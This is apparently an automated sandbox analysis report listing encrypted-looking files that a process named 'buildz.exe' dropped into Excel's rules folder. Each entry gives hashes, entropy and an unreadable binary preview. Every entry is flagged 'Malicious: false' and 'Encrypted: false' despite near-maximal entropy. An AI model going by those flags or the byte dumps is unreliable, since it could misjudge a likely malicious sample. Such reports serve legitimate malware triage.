..g.N..4h?..&.aQ."i...0...[_.......y:....R.i~;.....)..o........GY......0...f.G.V...*h..J....d....5R..Y7?O.q..5TF#..u......].;..p..,x...48X@....\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.751004721660762
Encrypted:	false
SSDEEP:	24:u+ieMIeolKZElAdQbOTQn4Fo2LeBVhoDMdKsbD:u+EQCEZxnko2L+Vh0MdzD
MD5:	67D2D182400F40DCDB323CA9644205D1
SHA1:	43B14B8B290E4E793B72F52F1224B1A6BE4D4C15
SHA-256:	DCBBA75AC2378761B07BEA7B8F999032679FACF9024FFBB9396B2293F4C43F92
SHA-512:	E15D867D44CD17A767AC7276B69A8DA9BDAC0505BFF2E5980D477FA5DA94652225FCDBBB1DFCD0CE51A634A5ED95FC07D4FFBB3EA25BEDA10F594FD1B56D157E
Malicious:	false
Reputation:	unknown
Preview:	<?xmly..+....q...'W<..9E....6..:...d.p3.ZNv..V..%SBe...X....)nC,....8.NO...c]q5..../l..%%%'.`s.j.$c..;"@#x@S?{..oM.....v..bW...m.0...Q.ew..v.H.L`#...+as...r..^...<...;&....w#...{..]...!.....>..0g..Q...<.a..5....K....K...7SE+.N0o.........9.IW.X......i.M.&.....Q.........e.j.#0.&. l!....B.(M.5$c.).*...1z..5..3..B(......t.'U.N.H........F.4....~m....\.M~o.C._a..r..t=..6vW..i.$..z.f...J....r..5l.........7_,P7h...n....-..Lg...'..)rc.....6...B.N.@.<.+...L.)..V..?.....a4.e'....:..p.d..".._.....'%3...._...0v.$."...9JGO.a.+.1..7.d.rC..a%!Z+/....w....Kj....C.3.B.t..o.e..~.......X.u.F..T.I.i'v.E'.....u.o.sa./.T.:....M(..p...u....F..<9q......X.l.\|>].IW..=.CJ ..^F..)..I..T1:).9.!w.........E.VT..K4...ZS..t+R.zvgf..$;.1.T...m.b..!.JI..`/....S.\|."....o...m.....uOq.<. ..b....Z~&`..-..C..X.o....6..U"v...j...i....$....F!c...0...fSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.7682337247566196
Encrypted:	false
SSDEEP:	24:rhWbAXSoQRmMClGMa5LTl/uKK8UBkpX1/L6GzNCzsQT2wbD:rsbAinRmkVV2KBUmp1tNCQQT2qD
MD5:	C223BB8E3373FA16D88AA6B1B8D8F58F
SHA1:	B9D0EBBDFEDD5692346A646516A79B5FD8885B3D
SHA-256:	E499B7E739CCDB05A6FC12FE52FBD834F39BD632D45EF196B7725B1289CAE2D5
SHA-512:	C7BA1D003E9CFECFD148BC8D175B91D2293F69E646A34D2592EEAB1CB7E2720181C90F07A3FCCD0C2CFF780A5CFEFEE37C14A1A397B1C45DBC41E34EAB46B45E
Malicious:	false
Reputation:	unknown
Preview:	<?xmlN.0.........5.`#..n..E.G..d.gM..(.....,.'...=.....[....B..._\.HjcD.<".....d...O..9..+.;....U*.6N...m....j#P...C%..A..at.D_.A.2.U..L...0.a4..84./.zq.4..C.@...#....u.]....5..s`...#.B.F.....#l..V+q4.....{..1.]^.7./b.O....i.j..e..%4.(..Z(B......7s..n..@.mA,..S..CN .f......5.#.#..U...-`...n.Z....].?.t:.......a.T$...}...\..}.e....._3.....c.......7......P.;.^.+....he.^...@....s].....h....&i....np...Q3...}.......U..#1....iesj.B...O..C...x.Y4.....F...>..L.Z....r.\|......W.A....._....-.x.%.....@.>..=.X.7vZF...dE.v1.%j.z\<Y0&..,.<.....n..o'.Z8.>...`..Cp...}P@gyO...+....%z.l#.&Im.........B7$..+...).].B.{%..).;5......$o...s...P...M[..X.8...s...>..>.g........E............z..8......T.][.NO:.V.%.?C..........$(.....h..u?o.V....qG."i..?..D`.C..0...tA.o...j0.I.W../...........SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.791811175065585
Encrypted:	false
SSDEEP:	24:w/yCOdj53mh+/rfyTrOwVvPqsZ9iooV69Fv+PwR76Q3bD:SQj9WUfwO22iFDLD
MD5:	ABE4223695B04068492EAD6E5C72CFD2
SHA1:	9A0AE9B8D03D3F6E79ACE41173AE7A5DDDF0FC02
SHA-256:	C4CB45CAE0955830277AE1E21DFA0320F887DDE313588A66D720FB593295E344
SHA-512:	F6A8EA3683E5DBE490A99981932B34E7DBB26E57426B9748AD791F235E9DA261C961D999AF84B38C918EAB299DA6821379D98FF409F552E340A916910239ABB6
Malicious:	false
Reputation:	unknown
Preview:	<?xml0^.r!~pd[....2u-..2N.......d..o.......p..3.%.6..`i.L6..qR.4`.Y.#LIA..e`S.5.%..{\...5<1.B.............x.}..."...K.c~..WI.c... ..xWD.(_...e_l`.+.....Q.......@.lr....Mk[q..\e..^0p..!.'Y...V.....>..5.....H..m.y.21".......H.O.Cm....w..@.$&...K...(Sy.>..7fu.,../.l%l..m..p.$!.:lG.)..D...e...F..I.2.).t.0.._...`..x..e?...".o0...k.N...E...l.=UT....>2..D..Y...q[......xmx0.7...GK.M2.}...o.8..h...o..d .....D./...qz...z.Z.O]m..R.MyF...=...P..]q...-..,v.).'..LW....F. ~....^.>.Gf...V4.U\|..P7RI...MJ..B..e.!......)...TM..@\...{.M".%.......)'.L........6..F...q....$.!.8D.9....q..<...#t.W...BU.....!.Mk..n.%.[-+.....9.%.....4....Rl.2...:......R...Aq./.....f..LFN[...cK..k.....Z..f\...n}....L2[}.E.........tD.W.\|jh..........).]..x..........?....k...o4.T..=...p.a...}.....p..Rb.2...z.g.f...v.F..g..#0.l.a....n.e.....f.@.<S...\..x._M.1......%.......bT.W...?..#.....{..Wf......."s.6...7...e.....c..0.:...+.4....k.i.....HSLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.744084990344873
Encrypted:	false
SSDEEP:	24:FRHHSoI2uB5Gt3Qd9GvOZ7gD6sESjrWb/ULiqJ2vGFDbD:FVH/I2u7G0bQ6sf6bMLUGxD
MD5:	C4971A7CABCC1299C03BC371F2DAB143
SHA1:	5C0C3C34B3E7AE15395DCEB791E09C2EB6AC0B97
SHA-256:	09B2986E0B9686193BDCC01699DA9488F4751067BB2E43C7AA774C009D0441FC
SHA-512:	6D65169FA9F65ABCEDF28D828BFABFF8024DAB8B546A53498CBB8D496DD5E6501EC75C181BD4F423088C70910CB1B6E2C27F6805E3482C3380737FA0F30712F0
Malicious:	false
Reputation:	unknown
Preview:	<?xml..ACbw.c~A0..]>........25..'..Q..Qe..$.[VF..u......g... C....t._S.E....@..W....C..)......H...'..3.T2.../.s.....T...v.`.J.y.....>.m.u......%U.zT.Y..\|......&;...P..p."1.u.,3..W...?.r._...!K.[=...K.1.{..;..L..D...g....s.%^..f@......E....k..e..}.(%..#hs.........Kyh....@..Y..s.N......oY...e...}...C.i......]3..t.%)a+.=....h.\|..`... jGr...?%...A.h..Z^r.'..e....#...Z\8.'=......\|.XY._...3.)G...E;D...p.t...\|T8.....xW..\..R....w.S(.0.......".-c...X7..h'B..N../7.....\|.+.k3l.8..<...........q65..1...O?...d...9..).........J.$...,.p..o......j\|.x-Tw...P.]5...h...b..f.1.5]..UA....... .l..zC..05.)W.\...k%.O..Im......#Gw;TS.......u.(....A.d.v..{.LC.......;pS.+R?2.1ro=.Q....e.m.Q.FB.Z......O..2;H.L..9A#`@.SK......=..^..V.c...W..,e.......]aYI......j.\|.........>5!=.....5...r.L....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.977653173105767
Encrypted:	false
SSDEEP:	192:DPzPYgY8wf6rDcyki3qdY8LsjJWN/NSjduuPLfWmOn:DPEgY8wmDRaFsjJGQQu7O
MD5:	7CA07B35F180E7FE923ACC64ADB23DEE
SHA1:	C3AEFA399CA89755561CE7C918C9A5AE00226D10
SHA-256:	9A581928023199B632768BB7296E3A8A2144CF748702B9BC359930448C92A7DE
SHA-512:	7E9F7B8FA19A415039021C8FF81D7A1D01D0432D8675B7568EED68138D17FAEF02640D726045F6B25BA73BC61A1F5FE1CC76CCFE1E8F493E1D63DEC6C09DB88A
Malicious:	false
Reputation:	unknown
Preview:	<?xml)........Ev.BS}o._...gd3..yQ..=...b.I8..Y'.f......Y..k.5....n.........o....1....p).~....'MtV..\|VMp0.[......n?._..P.z.~B........S1....VD.a!$.%&...#......;.z.........[..N.<.m.KHo..s...uy.K1.q....@.w........}...2.:9i..N3...<Ji6"....J.)\4...oa.9nz$0.`.]@.E.M..?...t...).k..93s.....dH..+.G.Y.".1J....(.hPQ....jc.I.@I..)...;3g4.lw).&..e..?>J.0N..?..Gg4z;..JI..\|.......:..~.c.A..X.UZ.9.=.s....k.]y=n$.......f...o.".6"..........o............k..2F......n..9..?.....2..P...'f@......[[.....1C.Zc....X......d.........k/....cO?.ykW4....4..!...QU..u.I.?.....b...U.>8-....8.l..a....(p.....9@.....f.i.....[.eJ0..y.o.L.;~S...\|..9....G.mY=\C..^...x@E.&V...=.V.q.q..A.Y.(wT..m.K,x.......7g..Nn.7..9'...K(...............f7j,.#H....[....)+.....73~;,O8$...`.&\|.......<.....F.2.Nroc.Y?'2.;..C...s...e.-..]1..xn...u...yf...e.~x=.:7O.+...T@g..:.&J,.p. Yg.a.@t..2.....Z...%Gt/.c!.X...(.."?./.B..n.....\...q..5=..........T...^,.}.^f8@..&.^.T.=..........E$@9<..,WRI[1.\...<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.844047189969926
Encrypted:	false
SSDEEP:	24:3ZKOvJszHEekQ71h72XrxxvSBHNcbl7R1rfKhkfLrE/PhMycp1nbD:J5JqiQ7yrx5SBCll1pj4/2l1bD
MD5:	E9061D3C28A73E28E41EB96D25C4139D
SHA1:	35DFA779B7B29F6E178ABF6F67BCC6BC222886DE
SHA-256:	4EAFBC42460D0712752C0C02CDC76D88CE6603153882C46B8A9B80D1CF2C999F
SHA-512:	23946AA84CB6ECBC58BB166D9ED472F36FBAC03B0B6344C5162A0F0C2C019E7B82F786B998975AFFA45AEB7D89C11C14D45E54CE5C9657139A2641A575173032
Malicious:	false
Reputation:	unknown
Preview:	<?xml....q..1e..c.ZN....e..x..3..W...i>jw.P...aQ.)...0v...6.+..Q...z-b..$I.q.5..;...F~n].Y...\|L?...S?/..4HZo.j......L.}.7`.<...("..=..X.%1[.x..T..XV...#.......&..WASE.......l..}.....$.&..=...;c..A......e..(..M....'H...(.<..9..0>4<.u<..Q..u...e.....l....).........._.H..Xz_.n..Z.w./.0.'TB.0.k.\|...H..&>...l.G`...3.-Z.]...7....... .?.5O..L.}.\|{.RS.....2vxq...y......gp-~j:.~.o_.e..7:.....i.G.....Dq\.6!......7.%4t^....%.`...........&..,a..V-.nJ....".j..d...>.....M]...J./=....]...e$....b....).?..a....NF.b"....%...r......H0s\::.D.5...=..?L.)TS.....)y...\5.%?.Ab..Yv..W......yd..B.5-...I.S..u.[n.......]..[*..:.r.'a...u]!......$d.=.C.....s.g..q....X...q.'.t..A.....z....(L.9@!y...l. ....T..h...2.......T..od.E.^.MX.2...Q....E.!.....ab;h"~..X.DNh...b2..s.E..K..`.a.....}.VD.Q...I....@f..oW.j=.l..X....57H.."....C...[.E5 _.Y.O.W.!.B,2...I..RH...k...7.g.....n...T'.!.0..G....m..K.a..1.'..rJ..D...o{OdM..1vZ.k{T..]..........$e.;.8.%m.;.. 4..3..P..`...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.83834977262334
Encrypted:	false
SSDEEP:	24:MY7QdOyLtZD9lov5hP9UUWL8TWkiBrXPt3WVegrXGpPu8o+CObD:MsQky5rloxUUWYyk6rXPt3Wkgrm2aCsD
MD5:	037BC471B89633A0D491A2102BA51905
SHA1:	57F597936DF712FEA858C6D06E76F4AB0D694605
SHA-256:	F5904895A3E1459E202E3E9EF246198E9808F66E81E90E3D0B9C5CFED1CF768F
SHA-512:	033F75ACF561F126DF5518DFFF52B0843D4789DAEEC3B76AC6D5A4B9ECC46AF38869B23A56C84EC4C5706FA209E0141C10C09EFA6B604A8CF49C7791FE98A55A
Malicious:	false
Reputation:	unknown
Preview:	<?xml/....%.0......!k..%.......H\|..Sy(1.J`.q[..M..^K.........._ ........I.V.a.&J.6 ?..A`.bY.a....k..O.......\.W.......@./..2......)......o=Y.......t.'$..o....,..L.;."..%.z,.8a.....a..S..)U.#.ng...n)......t.....G.J.!.sU..o.7..k........[K.O.I_...U.;3.:.....b..2..j...5.h%.\..$...&...9.e...'.a>..Zi....{a..K.\|G.."....e`....0..:.L..yL.Bk.o..h. ..n.e...&.M.... ..i..s..7\|S.]..K.h.W..!.....[J#...dQ X4Dn.YI4.<.......r.<Z~...!6.2.C.>c.FNH....q..+......r...r.S.B....F\H.2.AF%..4.......\..YV..a(...H.2..V..^~...W....=.."ku....Qw.x ...#x.F..!.0N.^:ty.WJ.3...Z#.$.)..V..T......@A.Z.._....2.L..,..s....T........#.FZ..8..9.....@........I..b..i....:..........?.%A!..b...~....Jv.TO.-%.L....<..2.G.......I..7"...)..7_.....`0A.....q......D.T.N&...!..e+x.v...S...74..J<9.\|..L.h.T].4.82.7.O..m\|../.v.I..ia..L..U.2..!.]...4..$..5.U.G.Q.T.WkZ9G....`3..d,.-n...~....l...Jm`....0....WI.t.1dOc.z....h...%....."J..}!...M.....#}.^U...5.....\|..s$L.......b....?....Q3...Z.j2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.805486392538984
Encrypted:	false
SSDEEP:	24:i7sB75afxSpId5U7Vi1N/RDH0bgPykxP7i7M64Xypsns9bD:i7s15afxSpId5giV4bga6P7iAX+H9D
MD5:	0F8AA8DA5365DE0D89263FE394660062
SHA1:	8A13338CC283BB60C1A24F15000B21AD3BA04727
SHA-256:	7055C37CF67F9DB6159D8267CC0A139CBAADB74502A1D82FE7EA0A8B21037E07
SHA-512:	7268C37FE28B7897D24F0385578162789902F1D5046B3C0C7D9AD371DA5AFE9342514FB2F12CD914FDD341FC088BC6C8E33640D027356B64CA24A2CB3034E2BB
Malicious:	false
Reputation:	unknown
Preview:	<?xml.`..L.(k.=....G0I}....D4.............!.N....`=sdW....v]o.q..)._KY.....<..Sh...L`.......T...w....l.Z.8.'...~...k)<.........Y..W.....V..._...BzI).o."...z.Q..c..N..F....s..ZE..+..U......6..W...%\...b...:.........=..)b...l.s....y'q...e.`l...,..2.YI..Ykv.F.p...~.W.;T.}...a.\s@...XWzz..X..~..JN....(.H).!.E..P.e.w...U.i..X.....v.%.:..6.....^........E7.=.z.....*.;x..0.(}..._...j...0....E.;..>V.N..F..1.l.............k/.h......w.%.c.H...\r....J4":.&6..8..zY.T)#L...b...M.%.M..=.Q.Fgn...qN.....h...$V........n....a.N[.5#.L..f%.....%..A..n.Xq\|M.[l.V.F@(.`.....f...jLMn.e(....q...Z[...m..&...Q1.$V..$Q.#.}6.......%..1......X......-..OU.'..b..M.....S..w.7.I.N.1Ioq.....n.....e....=...7..e.ajb....l+..@+LKO....3_.EL...U.....joN...s....f.,.z...j..)...oV,.....@=i.u..kk=r..'...[[.w.rd.....s=.C$.'...........?...`......_L.).."~..`...(........ a.u..K..c&..#....L..j......{...y...E.v.C..B.[..?.Bx.2.Q..".y....RT.-.:.\...v`.f.....O<p....gA{....{.SLiby

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.936723002424941
Encrypted:	false
SSDEEP:	48:4v6OJuN7+7DynQXAw9Zk+aWZlkgWaMUZIbNctu1NaIbIYte0fDOGKwFtfCoD:O6OJ4+7Gn2AUWe8aMyoct0a43tbpT
MD5:	C1CEE44A83AA6A39A9AD11F68D15200B
SHA1:	6789D242406ACEC0127181B16BCCEF8109B19881
SHA-256:	248C5B00D4E30BD38BF5F6ECB53E97E7BB129320943870FB58F7BC90656981B1
SHA-512:	E603B9C170E00BDCDA4F9747A0F17E428E18B5FF4AADD784064F53A1326713132A8C111FCCA1B9BA4CF48B27E1806AA5A67F156FF24E224AFE6C005368F2B368
Malicious:	false
Reputation:	unknown
Preview:	<?xmls.5.r....B.@(f{..G.$.bz_......Z..}....4{}?..d....-..C.. .Vwg.p.;.?.=...._2.'w}...Z..`d.).YZ.y.V..O...z..B........2.....2le.....;A1\|1..~.C...:{A..z.O.0...I..........W..Y.y.......w.&.\.D.....L...:+.........x..am"....n%.4.S.Z....P....R.y.s+..X.C..@.:....M.M...E1.q...<.=.X.q.>.f@...P.....MT.>...TfY.I.<.+.......\|SZx.C...W".K..K...}.V......I>..Q@...w...K,.x.L..PR.pe..67..L.....j_..Q...K.XBR...#..t$.._^{."x..X.";.....^&...RZ{h.c...).U...n..T`.....dH.5............r........8!".....mz.I..X...N\x....>.D;..,.P..5;.....@!.(6........U...b.Y...jg.f. ....M.....>+9..j\.7...s...z.Q../k...i.]M^...d.r......0M.-.........T.....`..w.../A.'P..y2. ...<...3.p.plm...P.2..%.....#..]XOg..p.....l..1.=\\!.....\|:;f...y...^.`......9..oE^......?a....w6....K.....OW@?f..Wj..^Q..z.E.....}-.$"...&..(..OA.O..z.mx;7f.Z......W.h.:......^..D.....Jv........9.)..1..KZ.........s{..q}W.L.T R=..%..k.8..\!..J;/.k.`..I..{xY_.t..6Z..V.M..0..#.z.d.x`...,;J.D...F.....T.z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.803106566310812
Encrypted:	false
SSDEEP:	24:T0BTzWQQAsgZznnC7lENE2aFbmLOFTgF/bFvl4CrUG4wb3/XNuVbD:T0Bepv+nC7lv2maLCTg/bWwb3foD
MD5:	714D2F6F9885E9D6DCA6032D0E135B7E
SHA1:	F0C18D57F75F25E51029ACFE7F2F04818F634C57
SHA-256:	1CC4427AD5C4082E423703C69AFB7B2A308FC4BC424596B246B8F2A54F7D2674
SHA-512:	9A594298D577B27B150B792F6E5E3DF4473C33432713C3B5E03D27BCDC482B83F06775A63537FE6A59E448B980EA2443AFCF93FCCCE4B8C5C1FA77F85B86590E
Malicious:	false
Reputation:	unknown
Preview:	<?xml.`....._.C..m......Aw.x.$.....F...g......(,....WS\|+.2.....Y.i..7.2......D......T...Y.V..wA.. .k^....qeV.I.ium...s0.].=Dp....a. ..E.r......JH.+i.:..n.f..........\|\|.+.Q-.pD..tn.\|...n;.Z...+...-.....#.C..k...Q.C............Z\|.G...........7h..G.P.@.......r.8.....<h.?.".....4.`.s...t.+.=........[$.$..y......J}h..O.%.VK....j...@.......Z...\|.m..yC.f....EE.@:B.6.[p<..{T.Y......(.n.h.t...[D.%.......K. ....O.x..Q>.Cz..+.%........%..\...B0$./.wI.......}dW....P.......24.GJ..vc......W.o.6.........Q.y~2f...M.p..'..a...J....m.3.AYE.yU^p......g....\|....r....w"...$..t.&x.,.=.H...F...z..V..a.]zBI..k...O ~...g.....KCP..w.%.../~@.......L..Y ].td..Ay..Q..Ql....j....g....Jga~...U..pTm..b.F.A"...J..?.O...^e..fi.G'./..4..tvp..[.!...3{q...znu2P{.E...l....t.\|.^F.c.....:L.Z\|B.e...R[g..0 .$....%...........Xp\@..*.$t..-.6.........O.L.....t..8P.D.... ..o..w..\|i.>x..w..."...}h.j.`.].....K].\..pU4.m...)pW.psqR......t.B.\|......31...\.s..r{r.Ve(..{....6...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.979150790562759
Encrypted:	false
SSDEEP:	192:sGF7VK9vQ82mRJKOhKNeka9agp62cr9wG4SDSI:J7VyOiPkekG6l9iSuI
MD5:	7937F4559C680DF54186490792BDCCDA
SHA1:	8630DE4950FB072E34B6DB0EA8B786F7B3050F97
SHA-256:	00DAF98F56C86AC41BCB99CDCD4E28F1E78EB07C3E3DF7058AC9AC09A5DFF05A
SHA-512:	BC40A5C05E91C8B68A4EB993106E14CC14326DFFCD570D569BFC6B8F9E74B50E92FB24C8178EBD3BCC2147ABEB5806E8ED6ACB29933838E9D37B36A64C294C87
Malicious:	false
Reputation:	unknown
Preview:	<?xml.. 7.\.v.U.xarX.$5[.xgf..C...:..fw=2<pk....NGE....f..R...}../.P@......i..Y:.`...mJ.0.."hQ(.g....1<......v.....dN....4..-DPU.u.......H.=.......').......w.A..h`Lm.....gl.4..~.....E.2.....\|..rE.MV.4.&...U..2..&..;L.d....U.}.w.6....N...?.........)..X]..+.].z..[gt...}.[.>E...xu..&..GK/.o..q.....r..V..L.7J.9A+.d.g.{.@...".....>.P.q.Z]........?.M.qc.y..'..Z...T@.r..I ....-V....(..QC.3_.8~....&.!> \".p.7.....W.md....{40..F...<...O.o....>.T.[3g...0:.`..w...O!..,`y.~......DT...\...r.).M..f>....n..s5$.1.../..\i5o..&\=..us.......R......[=.o..F.G....I.1...uR.y.#..!:.o.bL.y9s.jD...F)..6.F..{..m...J..jo3_.M@..6......t..mJ....n.h:......yj/.P."9....U. ..m!:23.._.S.u....e@..:...:../j,...Z....EC..`i..a....'.....Y.Z.@.zW..`.RDr.b.9..;./.....2v....A..v6..>...e9.>.f..l.f..I5>..D.j...C.....].6TM.j...y.y.....2jI#4..W...#...6.?..i.&....hN......6JU...M....!...`..\1.Bf8V......$t.[.....G.......H...9.1..*..7\...].v.uMH.2..,.L...OH.!..'M.'.v.....b....hG

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.742395979415151
Encrypted:	false
SSDEEP:	12:5KXGPd91vvdUSm0oi7q+k83pVgegKXTT3yVrZeDqwkewLEXHGwEHSf1+cii9a:fPpLm077q+d3weLDL/BkeB2pSsbD
MD5:	0D074B48626D50F2318558527ED60913
SHA1:	A4FB37CA9AE0324B3CD5ADEC91A274DD127EC3D5
SHA-256:	837A1B146423E2DFE830093126E0AF7F0036978546F218BB10650D98075F9125
SHA-512:	04A909975CFC58CB54A46EE7FB7D60DD65607593C31899EC7B4B588742357784EC7005E96A4D8A4DB88F2CF9576F41736729377529E7A9FDF05ABDD1C592C58C
Malicious:	false
Reputation:	unknown
Preview:	<?xml....@F.F9.^P..O..!...../........v.....i.(vw..9...A..s......@9.h.p...4.....cI"..._..N.@.F........UK..q.\.K....MV.N..~.^...O\|.Pp"...#Us..\./Vf1....~<...hR........BI.t.9X.Na.i...E'R....Q...).L.3vny.t...U.X...2DW.k.H..P....C2...9..)_.. .].MC.d.{...>..."..Q/..~p..h..%n-..VW.F&b...6...w2.+..6........\|..l..0.... ztC:...R...0x.Wu..(.d.P..r.=. W..w.>....\|rh..:.....w;..B.[.sF...d.nl..zVqY.eG.......K...:..#...Y18.9........F.T.......~k...#..s...-@\......\|.R.z.+...f......XyxYR4..S....&....=.....P.M."W/./.gRQ......u.:...[...b.....v...C...!..k.M.Rn..NW0Q=~X.Yv..^.W.q.;#.n....".....X....pn....g.w.r......j..%...........[....a.u....Q].8.......KG..r.k.D.h.kh...+A.......:.7...7'R...?aj......J.W...~..z.n.Y..q.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.899111122539729
Encrypted:	false
SSDEEP:	48:Bc2TX/zkW5VCF5P0tTklNkzSdXQ4WTrDOg+iPUhs8WItaqxmD:BHbznVsMtEFzWTH/NJqk
MD5:	FCC889ACEA50D32C217B5F1C53ABA0FB
SHA1:	49B2D6E143A4063C2C32E28CF2E667BD2553E1FC
SHA-256:	5ABE608ADBA9DF01DA8BEBD76B9A7345F28E9A8C976ECF44320CB44F2B691717
SHA-512:	A4BF711986465EDB48FAF030AC17FB46A7F77C2AA6B0464F37F8E0295D80B73F2749F0E80E56C148D4B01E1A7C4BF8B254A25F6F0346FB9246B5F91DF1713507
Malicious:	false
Reputation:	unknown
Preview:	<?xml.s.. 'LnlT.El=..t_5lsub.M.v.........rhS..Jt.c.{P..1..e..Z.3..a.wo\|...".......At..Q..H...v....<...AZ.c.>..r.....q...(y.......b.....{...e!.Bn].b...J......_.C+s..T.....;...k3.FP..a.F.V5.......3.4l.iY'.m$.n..x.?!.'...9..?.<ar.........H...X..V.BT ..R..B&3.K.h.I`..f......./t.....fD.A..@..:.f......RP.O.......[.r...u:....%,.6.G.,....... +.3>..J....'T.s..../<h9z..1f.#."..........0T.],..%....T...D8.ph....".r.6.m.tu..&.V.)z.....u..o..wO...l.. h...&.T...sD......].kn.V..s5Wr....9....0..=..j......(S.}Z.k=uGIgF........h....^.H.[j.......~.?.F...e...f......s........V.8m........X....eS8.]T........G....._.P.bYv~...'...J.V"Al.......=.S....5..k.K.{....N../.[.G.J.X..?.._7...b...O!....yCz.%c.......<...d1.'.+3z........c.75.!.Ic...=..(.1).8I.Uf.\|...Rt.....).[..L..3.Dwu....nf7[...S.r...>....6F.a7a.D.8._..u.......t...ueR.B_...f...u.....7..N....,~..^t..........O&.%........I.D....."...Do..K..<f..7#...Mej..............%.Z..0.3.X..q:..~...y$..[? .V..G.z@.1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.843943686029357
Encrypted:	false
SSDEEP:	24:e3xsSU9JLStBE2VRhjAd/wsYItySwl3gSKG7be/95HiDbD:xT9J8tVRhjgYiwlwO7be/bHsD
MD5:	1FAAB95C1190EAA5F191A70507E50B44
SHA1:	2EB27498BF0F734F072DA3A9C8C8110055E1BA8E
SHA-256:	9D059C7D44899011F1061BDF65C40257086FD4A298407CBC0E603558902AD45A
SHA-512:	8CF457A7550573400398EBC79AA3A05E0E449F73571C05000CF7C35DE65943B526348B8D818BB01B5E38F1B656F6C10B581900BC234FFADB8DFD43135776E9C1
Malicious:	false
Reputation:	unknown
Preview:	<?xml..:..0.Q...0......L"..j.......lZ..B...... .]v.....n`.............N...;...#.a2F^.........t..B.....=.9U.uMU.7.QV..NN...\.x...u..)x.[.c......c0X}0.4/)\|D.l._.M..9.Jq.]1d@}...._;.U=S.t...m..V7.>..^W(.AYZ.N.]P%.....I....wB:._3b.l.x..c.{ze.he.v...4J?.......G2..G...I.#.#~8..G....)...bH.w._4..n..B).../.G...fv.E:...h........{be..F.+i.W"...G-..5A...<......t&.b.,?j............s....1W.O....).H.y.3.I...-.a\W.H.f.$D.(.....\|tKwI1..C..-..!..M..'%.2.c~0.?..E"E..Q.6....2....V.gD......".=X.....[........>o..\....;...b......V.)fd.U....m.UdD.6.5...w.+...\|....]......j>.}.v..V..3h...+..A.#.......c.......%..Mu.M. .C.....aG~b*<..LD....A..u[.Q...>.o.O._[.\B?9......Z..X.g..nGs<...i:...6].......g...O..@.v..h..I...m..m0V..VeH.i...i.7..jh..O=..6=....<..[.#.g.O$.vB..d&A../.o.S....7...:..l:.....l..`Y..`...Ma.`......\.I....[.v...4.!O..E....R..%W.H.6L.....:X.G..6G[..A..7.....c...q............E../!..$.SU[:1h..7.HjQ.I(...2N......@Q..R<...5.zoi2..$o....x.......x....r.$p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.954557123280556
Encrypted:	false
